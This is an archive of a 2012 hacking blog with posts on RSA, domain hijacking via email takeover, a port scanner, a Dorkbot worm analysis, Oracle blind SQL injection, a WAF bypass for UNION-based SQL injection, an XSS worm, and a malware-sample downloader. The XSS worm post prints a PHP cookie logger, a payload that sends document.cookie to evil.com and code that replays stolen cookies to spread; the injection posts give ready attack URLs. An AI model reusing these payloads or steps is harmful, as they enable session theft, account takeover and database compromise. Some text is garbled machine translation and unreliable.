Information Security Regeneration

RSA encryption algorithm, or they are afraid the feds America

2012-12-30T01:32:00.005+05:30

RSA encryption algorithm, or they are afraid the feds America

Today I want to tell you about an excellent encryption algorithm RSA. The idea to write the message appears in the writing of code encryption botnet. The solution is technology that the U.S. government at the time were very much afraid. Even banned a program, on some lines written on Perl'e, and the people to protest, printed on T-shirts the code of this program.

So a little history:
RSA (alphabetic abbreviation of the names Rivest, Shamir and Adleman) - a cryptographic public key algorithm. RSA algorithm is the first of a type suitable for both encryption and digital signatures. The algorithm is used in a large number of cryptographic applications. published in November 1976 article Whitfield Diffie and Martin Hellman, "New Directions in Cryptography" turned the idea of cryptographic systems, laying the foundations of public key cryptography. Subsequently developed Diffie-Hellman-Merkle allows two parties to get a shared secret key over an insecure channel. However, this algorithm did not solve the problem of authentication. Without additional funds, one of the users could not be sure that he exchanged with the key of the user, which he needed. After reading this article, three scientists Ronald Rivest (Ronald Linn Rivest), Adi Shamir (Adi Shamir) and Leonard Adleman ( Leonard Adleman) from the Massachusetts Institute of Technology (MIT) have begun the search for a mathematical function that would allow you to implement formulated Whitfield Diffie and Martin Hellman model of a cryptographic system with a public key. After working on more than 40 possible variants, they managed to find an algorithm based on the difference in how easy to find large prime numbers and the difficulty lay factoring the product of two large prime numbers, which later received the name of the RSA. The system was named for the first letters of the names of its creators. Description RSA was published in August 1977 in the journal Scientific American. RSA authors supported the idea of its active distribution. In turn, the National Security Agency (USA), for fear of using this algorithm in the state structures, for several years unsuccessfully called for halting the spread of the system. The situation sometimes reaches the point of absurdity - for example, when a programmer Adam Beck (Adam Back) described in Perl algorithm RSA, consisting of five lines, the U.S. government banned the distribution of this program outside the country. People are dissatisfied with such restrictions, in protest of the printed text of the program on their shirts. In 1977, the creators of RSA was encrypted phrase «The Magic Words are Squeamish Ossifrage» («The magic words - is squeamish vulture"). For decoding was promised a reward of $ 100. Only at the end of 1995 could practically implement disclosure RSA cipher for a 500-character key. For six months, more than 600 volunteers donate CPU 1600 machines (two of which were fax machines). Coordination took place through the Internet, and it was one of the first such distributed computing projects. This award winners donated to the Free Software Foundation. in December 1997 has been published information according to which British mathematician Clifford Cox (Clifford Cocks), who worked in the Government Communications Headquarters (GCHQ) UK, described a similar RSA cryptosystem in 1973.

A Little about encryption : - Depending on the structure of the keys used encryption methods are divided into:
Symmetric encryption: outsiders can be known encryption algorithm, but a small portion is unknown classified information - the key is the same for the sender and the receiver of the message;
Examples: DES, 3DES, AES, Blowfish, twofish. asymmetric-encryption: outsiders may know the encryption algorithm, and possibly the public key, but do not know the private key known only to the recipient. Cryptographic system with a public key is now widely used in a variety of network protocols, such as the protocols TLS and its predecessor SSL (underlying HTTPS), as well as SSH, PGP, S / MIME, etc.
The Russian standard, using asymmetric encryption. Currently asymmetric cryptography based on public key RSA (stands for Rivest, Shamir and Aldeman - creators of the algorithm) uses most of the products on the security market. cryptographic It is based on the complexity of factoring large numbers - namely, to exceptionally difficult task to determine the private key on the basis of open, since this would require to solve the problem of the existence of divisors of an integer. Most systems use a cryptographically strong 1024-bit and big numbers.

Consider RSA algorithm from a practical point of view.

First we need to generate a public and private key: -Take two large prime numbers P and q. define-n, by multiplying P on q (n = P * q). -We choose a random number, which we call d. This number must be prime to the product of (p-1) * (q-1). - We define a number e, for which the following relation is true (e * d) mod ((p-1) * (q- 1)) = 1. Hazovem-public key of e and n, and the secret - d and n.

__________________________________________________________________________________

To encrypt data on the public key {e, n}, you will need: -encrypted text divided into blocks, each of which can be expressed as the number of M (i) = 0,1,2 ..., n-1 (ie, only up to n-1). cipher-text, considered as a sequence of numbers M (i) by the formula C (i) = (M (I) ^ e) mod n. To decrypt the data using the private key {d, n}, do the following calculation: M (i) = (C (i) ^ d) mod n. As a result, you receive a set of numbers M (i), which are the source code. _________________________________________________________________________________

The following example illustrates the encryption algorithm RSA: encrypts and decrypt the message "CAB" algorithm RSA. For simplicity we take small numbers - it will reduce our calculations. We choose p = 3 and q = 11. We define n = 3 * 11 = 33. Haydem-(p-1) * (q-1) = 20. Therefore, d is equal to, say, 3: (d = 3). , choose a number e as follows: (e * 3) mod 20 = 1. So e will be the same, for example, 7: (e = 7). represent-key encrypted message as a sequence of numbers in the range from 0 to 32 (Unforgettable, that ends at n-1). The letter A = 1, B = 2, C = 3. now encrypts the message using the public key {7.33} C1 = (3 ^ 7) mod 33 = 2187 mod 33 = 9; C2 = (1 ^ 7) mod 33 = 1 mod 33 = 1; C3 = (2 ^ 7) mod 33 = 128 mod 33 = 29; Now decrypt data using a private key {3.33}. M1 = (9 ^ 3) mod 33 = 729 mod 33 = 3 (C); M2 = (1 ^ 3) mod 33 = 1 mod 33 = 1 (A); M3 = (29 ^ 3) mod 33 = 24 389 mod 33 = 2 (B), data decrypted! And so it acts this algorithm RSA! The article, though not big, but useful, and brings valuable information for both novice and experienced programmers.

Thanks,

Hijacking DOMAIN

2012-12-10T03:26:00.002+05:30

Hijacking DOMAIN

The domain hijacking is a form a little out of the mainstream because it would be a little more focused on social engineering because it is part of an attack directed at a specific victim in this case would be the original person and owner of the domain is that victim who owns the email that made the registration, the email I buy the domain # Epico since in certain forms intervene an email is much easier to make the intrusion itself to this website for brute force tools abound, phishing, email cracking or just send an email and wait wing victim to open it using a little social engineering we are talking about 65% in each wing victim sending mail. Well for that we must understand that in the hijacking DOMAIN two things only start the DNS and hosting.

Which means each and everyone must know both the hosting and DNS has its own panel but where would we focus on specifically PANEL which can handle DNS routing services.

Now go back to the attack of linking to domain hijacking first thing we have is the access panel for it having DNS information:

> The name of the domain that will make the kidnapping.

> The email address to which the record was made of the domain.

This useful information is very easy to get what we can do with a domain whois domain the victim and we introduce a simple enter and begin the search for information about the domain in which we are performing the attack once it finishes loading the data we WHOIS RECORD is where e-mail, provided by XXX company registration, ETC.

Once you take control over this information and taking into account the administrative mail DNS service proceeds to intervene once made the account headed domain provider and we click on the and automatically sends us link to reset your password to enter the DNS PANEL clear this was done after the intervention to that email and in it we would realize only a redirect page if not all domains registered to that email account. # END # 1

A Simple Port Scanner [Python]

2012-11-29T02:49:00.003+05:30

A Simple Port Scanner [Python]

#!/usr/bin/python
import sys,os
from socket import *
os.system('clear')

def about():
    print "###################################################"
    print "# Simple Port Scanner"
    print "# Coded By nu11_()_v0!d"
    print "# Powered By Team OpenFire"
    print "# Blog: infosec-regeneration.blogspot.com"
    print "#"
def usage():
    print "[?] usage : ./portScan.py 1 65500 IP --- All PORTS"
    print "[?] usage : ./portScan.py 21      IP --- Single PORT"

def main():
    if (int(len(sys.argv))==1):
        about()
        usage()

    if (int(len(sys.argv)) == 3):
        #one port
        about()
        try:socket(AF_INET, SOCK_STREAM).connect((sys.argv[2], int(sys.argv[1]))); print "[!] PORT : ", int(sys.argv[1])," OPEN"
        except: pass

    if (int(len(sys.argv)) == 4):
        #range
        about()
        port = 0
        for port in range( int(sys.argv[1]) , int(sys.argv[2]) ):
            try:socket(AF_INET, SOCK_STREAM).connect((sys.argv[3], port)); print "[!] PORT : ", port," OPEN"
            except: pass
main()
print "http://infosec-regeneration.blogspot.com"
print "###################################################"

Skype and Messenger Used to Spread a new type of Worm

2012-11-18T01:35:00.000+05:30

Skype and Messenger Used to Spread a new type of Worm

[found on underground forums]

Since Saturday, there's a worm actively spreading through (mainly) Skype as well as Messenger (Windows Messenger, Microsoft MSN Messenger).

Someone who's infected with this worm will send you the following message:

Message in German asking to check your cool pictures

The link refers to goo.gl and is actually Google's URL Shortener service. You'll land on Hotfile.com, which is a legitimate file sharing website. (it's not the first time Hotfile has been used to spread malware, read more here. The file has already been removed by Hotfile.)
Some note regarding it :
Code:
 You should [B]never[/B] trust an email which has:
 
- only a URL included in the message
- crappy spelling and grammar if there is content in the message
- been sent out to everyone in the sender's address book
- been sent from an unknown sender
- promises you can buy something for a very cheap price
- No subject or strange subjects ( eg.: "[I]0 enjoy yourself[/I]" )
 
Never reply to this kind of email, simply delete it and don't look back ;) .
 
  If you have downloaded a program and you are unsure about
its intentions, you can always      upload it to VirusTotal or other online
virusscanners (VirScan, Jotti). Keep in mind that if a file is not detected by
any engine, it is not necessarily clean!

Now the actual Post continues....

Links refers to Hotfile and will immediately download a ZIP file.

Positive thing is that it is a ZIP file and not an EXE. This means the user still has to manually unpack and run the malware. Inside our ZIP file we'll find the following file, which is covered as a Skype setup file:

When executing this file, another file (a random 4 character EXE) will be dropped to the %appdata% folder of the currently logged on user:

This file will try to connect to api.wipmania.com, waiting for instructions. Additionally, it tries to connect to the following IP addresses:

74.208.112.178 - IPVoid Result
87.106.98.157 - IPVoid Result
199.15.234.7 - IPVoid Result
213.165.71.142 - IPVoid Result
213.165.71.153 - IPVoid Result
217.160.108.147 - IPVoid Result

Now, how do we know how it spreads and which messages it can display? The file extracted from the ZIP archive - skype_05102012_image.exe looks for the following processes:
msnmsgr.exe
msmsgs.exe
skype.exe

It will then automatically send a message, based on the OS language. It uses the following list to spread:
1.tas ir jusu jauna profila bildes?
2.seo do grianghraf prl nua?
3.ont uusi profiilikuva?
4.nai aft a fotografa profl sas?
5.sa kvo profili lusankary aquesta
6.s la teva nova foto de perfil?
7.hey ito sa iyong larawan sa profile?
8.hey lanh tieu cua ban?
9.hey ini foto profil?
10.hei zhni de gn zilio zhopin ma?
11.ni phaph porfil khxng khun?
12.hej er det din nye profil billede?
13.hej je to vasa nova slika profila?
14.hej je to tvuj nov obr zek profilu?
15.hei er dette din nye profil bilde?
16.hey la tua immagine del profilo nuovo?
17.hej to jest twj nowy obraz profil?
18.hej jeli ovo vasa nova profil skila?
19.hey bu yeni profil pic?
20.hej detta är din nya profilbild?
21.tung, cka paske lyp ti nket fotografi?
22.moin , kaum zu glauben was für schöne fotos von dir auf deinem profil
23.hey is dit je nieuwe profielfoto?
24.ez az j profil ksta tu foto de perfil nuevo?
25.hey essa sua foto de perfil? rsrsrsrsrsrsrs
26.hey c'est votre nouvelle photo de profil?
27.hoi schoni fotis hesch du uf dim profil ppe n
28.lol is this your new profile pic?

It will then add the link and subsequently adds your username after the equals '=' sign :
http://goo.gl/QYV5H?img=

Let's take a closer look at the files:

skype_05102012_image.exe
Result: 23/44
MD5: 98f74b530d4ebf6850c4bc193c558a98
Anubis Report
Malwr Report
ThreatExper Report

36A9.exe
Result: 16/44
MD5: 0d4b7f4c1731c91dff56afce0ecf37c5
Anubis Report
Malwr Report
ThreatExpert Report

The malware is commonly identified as Worm.Dorkbot and Worm.Agent or Generic Trojan.

Microsoft provides a description:
Win32/Dorkbot is a family of IRC-based worms that spreads via removable drives, instant messaging programs, and social networks. Variants of Win32/Dorkbot may capture user names and passwords by monitoring network communication, and may block websites that are related to security updates. It may also launch a limited denial of service (DoS) attack.

On my testmachines there was no additional malware downloaded, even after replicating a few times. Several variants of malware can however always be downloaded, whether it's ransomware, rogueware....

Conclusion

Worms spreading through Facebook, Twitter as well as IRC, MSN and Skype is nothing new. Still, it appears to be very successful as human curiosity wins in cases of doubt:
"Do I really have (embarassing) pictures of myself on this website? Better take a look!"

No, no, no!

Never click on unknown links, especially when a URL shortener service like goo.gl is used. (others are for example t.co, bit.ly, tinyurl, etc.)
Don't be fooled by known icons or "legit" file descriptions, this can easily be altered.

Even if you clicked the link and you're not suspicious, you should be when a file is downloaded and no pictures are shown, but just an EXE file.

For checking what is really behind a short URL, you can use:
http://getlinkinfo.com/
http://longurl.org/

For checking whether a file is malicious or not:
https://www.virustotal.com/
http://virusscan.jotti.org/

Advance Oracle Blind SQL Injection

2012-11-18T01:28:00.006+05:30

Advance Oracle Blind SQL Injection

Had a job to test an application few days back. Its an application using java applet.
Hum..when I heard its an application via java applet what came in my mind

1 - Internet Explorer will be a better browser
*which is true in this case..since to use other browser I need to install Java jiniator(something like that)
*no extra addon such as hackbar/tamper data available in IE

2 - Try to hook using proxy tools burp/paros/webscarap/zap etc.
*Success,but no use. Since the data is encrypted well. Failed to crack/reverse them
*Tried to use JavaSnoop. Failed to setup it.hahaha

3 - Manual testing!!!
* The best choice.

The developer of this application really confident with their applications. They already guaranteed that there's no bug in their application. So that's why the company that hire them asked me to test the application..

So,after tested it for the 1st day..it is true the application is hard to hack..not because the application,but because the java applet.
How about the application then? LOTS of vulnerability.
I found multiple forms that vulnerable to Oracle Blind SQL Injection.

Then came another problem.
Most of the forms only accept a little amount of characters. some of them accept 30chars..some of them 40chars..the longest acceptable chars is 90chars where I found in one of the vulnerable form.

It is a BLIND SQLI with limitation of characters.

At first I already informed this to the company,but then one of the developer said that..
"So what?..You cannot extract anything just by that 1 or 1=1 1=2 thing right?haha"

Really pissed me off. So I need to extract something from this Blind Sqli to show the impact to this developer guy.

A little of reading and googling found that, for Blind Sqli in Oracle,we need a lots of chars to successfully extract the data.
The only hope I have now is the only form that accept 90chars.

So the how I'm confident it is a blind sqli?
Simple.
When I'm trying to search for " john ", the result of john's profile will appear.
but if I try to search for " john' ", a different profile or a blank profile appear.

So I tried
john' or 1='1 TRUE
john' or 1='2 FALSE
yerp! it is a blind sqli.

Had a read in pentestmonkey cheat sheet and found out that we can use like this as well. called String Concatenation

jo'||'hn = TRUE
jo'||hn = FALSE
jo'||h||'n = TRUE

So here's the idea.

jo'|| INJECTION HERE if TRUE 'h' else 'x' || 'n

- let say we query to find a first letter of current_user='U' ,so if the current_user's first letter start with U,it will be 'h' which completed the string equals jo'||h||'n
- if the 1st letter not start with U, it will be else 'x'..so the string become jo'||x||'n which is not a valid profile available in the application.

added up a little example on this tutorial
In order to ensure that my instinct is correct,I proceed with another testing.
search=Zack' and 1='1
TRUE!

FALSE!

in oracle, this query can be use as well for injection
let say we search for:

this will be a false statement. since it'll be something like Za'ck.
if we search for

it'll be a TRUE query. and a valid info about Zack will appear.
same as below query,it'll resulting a TRUE statement.

so what are we going to do is,our injection will be like this

where in above injection,if the injection returns a valid value,(TRUE),it'll be

where else,if FALSE,it'll be

which is not a valid user available (Zaxk).

a simple example to query like below

What query above is about? It will try to query the database banner from v$version (which has string Oracle in it).

after that, it'll try to test the first character (specified by the substr() call) and compared to the letter 'A'.

If the first letter start with 'A', the query will be a valid statement and will returns 'c', if NO, it'll returns 'X'.

hope you get the idea:)...

Bypassing 404 Bad Request Error

2012-11-16T23:34:00.000+05:30

Bypassing 404 Bad Request Error

# 400 bad request #
If we have error 400 bad request like this

    site.com/somthing.php?id=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, ?29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 +--+/

it's mean : Your browser sent a request that this server could not understand .
and to bypassing this error

first we need to know from where this error begin do like this,

    site.com/somthing.php?id=1' union

nothing happening no 400 bad request error

    site.com/somthing.php?id=1' union select

nothing happening no 400 bad request error

    site.com/somthing.php?id=1' union select 1 +--+/

nothing happening no 400 bad request error

    site.com/somthing.php?id=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 +--+/
nothing happening no 400 bad request error

    site.com/somthing.php?id=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 +--+/

Oh 400 bad request error
now we know this error begining from column 19 that's appear no error and to bypassing this error we will add --+%0A after nomber of column like this

    19--+%0A,20--+%0A,21--+%0A etc ....

DEMO
http://site.com/somthing.php?id=1'and false UNION select version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+%0A,20--+%0A,21--+%0A,22--+%0A,23--
+%0A,24--+%0A,25--+%0A,26--+%0A,27--+%0A,28--+%0A,29--+%0A,30--+%0A,31--+%0A,32--
+%0A,33--+%0A,34--+%0A,35--+%0A,36--+%0A,37--+%0A,38--+%0A,39--+%0A,40--+%0A,41--
+%0A,42--+%0A,43--+%0A,44--+%0A,45--+%0A,46--+%0A,47--+%0A,48--+%0A,49--+
Thank You !!

Constructing an XSS Worm

2012-11-16T23:28:00.002+05:30

Constructing an XSS Worm

Website security A step-by-step explanation of how an attacker creates an XSS worm

If you find the formatting of this article to be off or hard to read on HBH (as I do, sensitive eyes. HBH's repository is great, but you can only do so much to make a text file pretty without allowing it the be a text file in full), please

wget picobsd.amdwebhost.com/~cfc/xss.txt

Before anyone flames me, the code in this article is purposefully flawed. It will not work. A programmer should be able to get it to work in a matter of minutes. I removed some code and modified other stuff so that skiddies don't pick it up. This article is meant for understanding, not as a contribution of code.

A while back, I was poking around a web 2.0 site. I noticed something rather interesting: every single prefernce for users had it's own file. This was probably done because the site, which was AJAX based, modified user information via AJAX, and therefore often times there was only one value being edited at a time. I started poking around these, and I found out early on that all data sanitation was done with Javascript. I'm assuming this is because the developer was more comfortable with javascript, and didn't use PHP for anything except what he had to (editing database fields, etc.) Because filtering was done via javascript, I figured it wasn't done on the PHP side (I was correct), so if I could access the file directly, I was in buisness.

It worked. site.com/users_neighborhood.php was accessable, and when I edited my neighborhood, I was able to insert a cookie stealer. The cookie stealer employed my favorite concept, albeit not always possible: the image. Which brings me to my first segment of code, the cookie stealer itself:

$data = $_GET['data']; #get the cookie

#create image
header("Content-type: image/png"); #this is a PNG file
$image = imagecreate(1,1); #create a 1x1 image
imagecolorallocate(1,1,1); #set BG to white
imagepng($image); #display the image
imagedestroy($image); #delete image from temp memory

#store cookie
$fp = fopen("misc.html","r"); #open log file and append it
fputs($fp, $data."
"); #add the data
fclose($fp); #close file
?>

This code simply created a PNG image and set the file's output content-type to PNG.

And the Javascript looked like this:

So, easy part down. Next is the propagation technique. I had a PHP program, and it contains a variable with the entire cookie in it. So the obvious thing to do at this point was to use sockets to connect to our target site's users_neighborhood.php page with the hijacked cookie. I did this by opening a socket and passing data to it. Here's the code:

#Connect Data
$host = "site.com"; #URL
$page = "/users_neighborhood.php"; #page
$agent = "BorgBrowser"; #user agent, used to specify the browser/program (googlebot, mozilla firefox, etc.)
$cookie = $data; #The cookie from above
$xss = "%3Cscript%3Edocument.write%28%22%3Cimg%20src%3D%27http%3A//evil.com/image.php%3Fdata%3D%22+document.cookie+%22%27%3E%22%29%3B%3C/script%3E"; #A URL encoded version of the XSS attack
$attack = "neighborhood=".$xss; #POST data with the XSS attack in it.
?>

This section of code just set up all the variables used later.

#Make Packet
function makePacket($host, $page, $agent, $rnum, $cookie, $data)
{
#Generate the packet
$packet = "POST ".$page." HTTP/1.1rn"; #POST to the users_neighborhood page
$packet .= "Host: ".$host."rn"; #specify the host
$packet .= "User-Agent: ".$agent."rn"; #specify the user agent
$packet .= "Content-type: application/x-www-form-urlencodedrn"; #the content type
$packet .= "Content-length: ".strlen($data)."rn"; #the content length, found by str_len, which finds the length of a variable
$packet .= "Set-Cookie: ".$cookie."rn"; #And, set the cookie
$packet .= $attack; #and finally, our payload

#return packet
return $packet; #return the packet
}
?>

This section is a function which allows us to create a valid HTTP/1.1 packet with POST data and cookie data in it.

#open network connection
$port = getservbyname('www', 'tcp'); #get the TCP port the WWW service uses
$addr = gethostbyname($host); #get the address of our host, as defined above
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); #create a socket
$result = socket_connect($socket, $addr, $port); #connect to the host on the WWW's port
?>

this section created our network connection to the site

#Send Data
$in = makePacket($host, $page, $agent, $rnum, $cookie, $data); #Get the output of the makePacket function created above
socket_write($socket, $in, strlen($in)); #write to the socket the packet

#close network connection
socket_close($socket); #Close the socket connection
?>

This section of code wrote the HTTP packet to the site

What we have done is used the "XSS" exploit in the site steal to cookie. Our cookie stealer script not only logs cookies, but it is also used to authenticate us as that user and grant us the ability to edit THEIR content, and steal cookies using their page as well.

LEGAL STUFF/DISCLAIMER: THE CODE IN THIS TUTORIAL WAS EDITED TO ENSURE THAT IS DOES NOT WORK PROPERLY. THIS WAS DONE ON PURPOSE TO AVOID THE USE OF THIS CODE FOR ILLEGITIMATE PURPOSES. THE CODE IS FOR POC PURPOSES ONLY, MEANT OT DEMONSTRATE THE EXTENSION OF XSS HOLES. DON'T DO BAD STUFF, CAUSE IT'S NOT ON ME IF YOU DO. THIS WORM WAS CREATED AND TESTED IN A CONTROLLED ENVIRONMENT.

THANK YOU ALL ...!!!

Setting up 3g mobile broadband in linux/backtrack (The Easy Way)

2012-11-16T23:24:00.002+05:30

Setting up 3g mobile broadband in linux/backtrack (The Easy Way)

Now recently I just bought 3g mobile broadband dongle to access the internet on the weekends when we go out to our ranch. Now it works perfect for windows but I still rather run it under linux and I've tried so many different options tutorials ETC. Everybody make it sound 300x harder than it actually is. This doesn't take much computer know how to do. BTW this is all done with one program called Sakis3g awsome little tool with lots of great features like an interactive GUI. Now there are some key notes you have to know before we start.

REMOVE THE SIM CARD FROM THE USB DONGLE AND INSERT IT INTO YOUR PHONE JUST TO MAKE SURE IT DOES NOT A PIN LOCK IF IT DOES REMOVE IT THE PIN LOCK SHOULD BE SOMETING LIKE 0000 OR 1234 PUT MOST OF THEM THESE DAYS COME UNLOCKED.

Let's get started

About Sakis3g

Sakis3G is a tweaked shell script which is supposed to work out-of-the-box for establishing a 3G connection with any combination of modem or operator. It automagically setups your USB or Bluetooth™ modem, and may even detect operator settings. You should try it when anything else fails!

Now let's browse to Sakis3G and scroll down until you see the download section if you don't know witch version to download. Just download the the first one

i386 - Fullversion

Now before we run it lets go back to windows and check the 3G dongle setting. First, most important thing is everything you see and take note of is case sensitive. Now what do we need.

1. Name of your APN incase sakis3g does not acquire it automatically.

2. Your user name and password

Now the password might be a bit tricky as you can see in mine my user name is Zain and my password is a four letter or digit password. Most if not all companies would have something like 0000 1111 1234 or it can be exactly the same as your user name.

***NOTE***

Notice my APN is all lower case and my username has a capital Z at the beginning and if my password where to be the same as my username it will also have a capital Z at the beginning.

Now after we got all the information we needed let's reboot into linux. Make sure you are not connected to any to anything before you start. Browse to where you have downloaded Sakis3g and run these commands.

gunzip sakis3g.gz
chmod +x sakis3g
./sakis3g --interactive

Once you run the interactive GUI it will give you four options pick option one and press enter.

It will the ask you what interface pick the first one like I have and press enter.

Good if you get this screen that means it has automatically found your APN so what is left to do is put in our username and password. Remember case sensitive information.

Now you just get this message when I first saw this I thought it was an error massage but what it was actually saying I was connected.

***NOTE***

The only way you'll know your connected is with this message and will not show up in your connection list in Wicid manager.

That's it for this tutorial if you have any questions feel free to ask.

Windows Malware samples Database Downloader Script[bash]

2012-11-15T22:46:00.001+05:30

Windows Malware samples Database Downloader Script[bash]

--- By nu11_()_v0!d

A Team OpenFire Production

Need a large number of malware samples for Windows ?
Make ur Malware database for Research ?
>> >> >>
>> >>
>>
Here is a bash script I whipped up to download 'executable' on an hourly basis from Clean MX's mailing list. This
places all samples in a folder I created in /usr/share/malware

Name it windows_malware_database_TOF.sh

rootdir="/usr/share/malware"
day=`date +%Y%m%d`
 
url=`echo "wget -qO - http://lists.clean-mx.com/pipermail/viruswatch/$day/thread.html |\
awk '/\[Virus/'|tail -n 1|sed 's:\": :g' |\
awk '{print \"http://lists.clean-mx.com/pipermail/viruswatch/$day/\"$3}'"|sh`
 
filename=`wget -qO - http://lists.clean-mx.com/pipermail/viruswatch/$day/thread.html |\
awk '/\[Virus/'|tail -n 1|sed 's:": :g' |awk '{print $3}'`
 
links -dump $url$filename | awk '/Up/'|grep "TR\|exe" | awk '{print $2,$8,$10,$11,$12"\n"}' > $rootdir/$filename
 
dirname=`wget -qO - http://lists.clean-mx.com/pipermail/viruswatch/$day/thread.html |\
awk '/\[Virus/'|tail -n 1|sed 's:": :g' |awk '{print $3}'|sed 's:.html::g'`
 
rm -rf $rootdir/$dirname
mkdir $rootdir/$dirname
 
cd $rootdir
 
grep "exe$" $filename |awk '{print "wget \""$5"\""}' | sh
ls *.exe | xargs md5 >> checksums
mv *.exe $dirname
 
rm -r $rootdir/*exe*
mv checksums $rootdir/$dirname
mv $filename $rootdir/$dirname

Use It for Your Fruitful; Research !!!!
Need suggestion !!!

A PRIVATE HEX EDITOR CODED ON C++

2012-09-25T03:35:00.007+05:30

A PRIVATE HEX EDITOR CODED ON C++

COMPILE AND RUN

1. Main.cpp

Code:

    #include "Editor.hpp"
     
    Console console;
    HexEditor hexedit;
    bool quit = false;
    void draw();
    void loop();
    void processInput(char key);
     
    int main() {
        loop();
        return 0;
    }
     
    void loop() {
        console.init("Psych Hex Editor - Created by Psych.gs");
        draw();
        char input;
        while (!quit) {
            input = getch();
            processInput(input);
            draw();
        }
    }
     
    void draw() {
        console.clear();
        console.write(0,23,"Keys: ESC = Exit  ENTER = Open File  WASD = Navigate Tab = Edit  Z = Save",FOREGROUND_GREEN|BACKGROUND_BLUE);
        console.write(0,24,"Q = Scrolldown E = Scrollup Space = Switch View F = Find",FOREGROUND_BLUE|BACKGROUND_GREEN);
        hexedit.draw(&console);
        console.render();
    }
     
    void processInput(char key) {
        if (key == VK_TAB) {
            hexedit.go_edit(&console);
        }
        if (key == VK_ESCAPE) {
            quit = true;
        }
        if (key == VK_RETURN) {
            hexedit.load_file();
        }
        if (key == 'd' || key == 'D') {
            hexedit.select(1);
        }
        if (key == 'a' || key == 'A') {
            hexedit.select(-1);
        }
        if (key == 's' || key == 'S') {
            hexedit.select(16);
        }
        if (key == 'w' || key == 'W') {
            hexedit.select(-16);
        }
        if (key == 'q' || key == 'Q') {
            hexedit.scroll(1);
        }
        if (key == 'e' || key == 'E') {
            hexedit.scroll(-1);
        }
        if (key == 'z' || key == 'Z') {
            hexedit.save();
        }
        if (key == 'f' || key == 'F') {
            hexedit.find(&console);
        }
        if (key == VK_SPACE) {
            hexedit.switchmodes();
        }
    }

2. Editor.hpp

Code:

    #include 
    #include 
    #include 
    #include 
     
    void error(const char *msg);
     
    class Console {
    private:
        CHAR_INFO console_buffer[25][80];
        HANDLE cHandle;
    public:
        void init(const char *title);
        void write(int x, int y, const char *c, WORD attributes);
        void render();
        void clear();
    };
     
    struct Editable {
        short x;
        int y;
        char data;
    };
     
    class HexEditor {
    private:
        char fname[64];
        char completePath[255];
        long fsize;
        bool hasFile;
        char *fileByte;
        Editable *edit;
        Editable *strEdit;
        long selected,lc;
        int sTimes;
        long scrollAmount;
        void gen_edit();
        void grab_file_info();
        void findandselect(const char *find);
        void findtext(Console *g);
        void findbytes(Console *g);
        void converttobytes(char *bytebuf, const char *text);
        bool startsWith(const char *c1,const char *c2);
        short mode;
    public:
        void draw(Console *g);
        void load_file();
        void select(int add);
        void scroll(int add);
        void switchmodes();
        void go_edit(Console *g);
        void save();
        void find(Console *g);
        bool editMode;
    };

3. Editor.cpp

Code:

    #include "Editor.hpp"
     
    void m(const char *m) {
        MessageBoxA(0,m,m,0);
    }
     
    void error(const char *msg) {
        MessageBoxA(0,msg,"Psych Hex Editor|Error",0);
    }
     
    void Console::init(const char* title) {
        cHandle = (HANDLE)GetStdHandle(STD_OUTPUT_HANDLE);
        if (cHandle == INVALID_HANDLE_VALUE) {
            error("Invalid handle value of std output handle.");
        }
        SetConsoleTitle(title);
    }
     
    void Console::clear() {
        for (int x = 0; x < 80; x++) {
            for (int y = 0; y < 25; y++) {
                console_buffer[y][x].Char.AsciiChar = '\0';
                console_buffer[y][x].Attributes = FOREGROUND_GREEN | BACKGROUND_BLUE;
            }
        }
    }
     
    void Console::write(int x, int y, const char *c, WORD attributes) {
        int len = strlen(c);
        for (int i = 0; i < len; i++) {
            console_buffer[y][x+i].Char.AsciiChar = c[i];
            console_buffer[y][x+i].Attributes = attributes;
        }
    }
     
    void Console::render() {
        COORD size = {80,25};
        COORD pos = {0,0};
        SMALL_RECT region = {0,0,79,24};
        WriteConsoleOutput(cHandle,(CHAR_INFO*)console_buffer,size,pos,&region);
    }
     
    void HexEditor::draw(Console *g) {
        char outBuf[80];
        if (hasFile) {
            sprintf(outBuf,"%s %f kb",fname,(float)fsize/1024);
        } else {
            sprintf(outBuf,"No File Loaded");
        }
        g->write(0,0,outBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
        char out[4];
        scrollAmount = sTimes*16;
        if (hasFile) {
            for (lc = 0; lc < fsize; lc++) {
                if (lc < 304 && lc+scrollAmount < fsize) {
                    switch (mode) {
                        case 0:
                            sprintf(out,"x%x",edit[lc+scrollAmount].data);
                            break;
                        case 1:
                            sprintf(out,"%c",edit[lc+scrollAmount].data);
                            break;
                    }
                    if (selected == lc+scrollAmount) {
                        if (editMode) {
                            g->write(edit[lc+scrollAmount].x,edit[lc+scrollAmount].y-sTimes,out,FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_INTENSITY);
                        } else {
                            g->write(edit[lc+scrollAmount].x,edit[lc+scrollAmount].y-sTimes,out,FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
                        }
                    } else {
                        g->write(edit[lc+scrollAmount].x,edit[lc+scrollAmount].y-sTimes,out,BACKGROUND_BLUE|BACKGROUND_RED|BACKGROUND_GREEN);
                    }
                }
            }
        }
    }
     
    void HexEditor::select(int add) {
        if (selected+add < 0 || selected+add == fsize || selected+add > fsize) {
            return;
        }
        selected += add;
    }
     
    void HexEditor::scroll(int add) {
        if (sTimes+add < 0 || sTimes+add > (fsize-288)/16) {
            return;
        }
        sTimes += add;
    }
     
    void HexEditor::switchmodes() {
        if (mode != 1 || mode > 1) {
            mode++;
        } else {
            mode = 0;
        }
        gen_edit();
    }
     
    void HexEditor::load_file() {
        OPENFILENAME ofn;
        ZeroMemory(&ofn,sizeof(ofn));
        ofn.lStructSize = sizeof(OPENFILENAME);
        ofn.lpstrFilter = "All Files (*.*)\0*.*\0";
        ofn.lpstrFile = completePath;
        ofn.nMaxFile = 255;
        ofn.Flags = OFN_EXPLORER | OFN_FILEMUSTEXIST;
        ofn.lpstrDefExt = "";
       
        if (GetOpenFileName(&ofn)) {
            hasFile = true;
            grab_file_info();
        }
    }
     
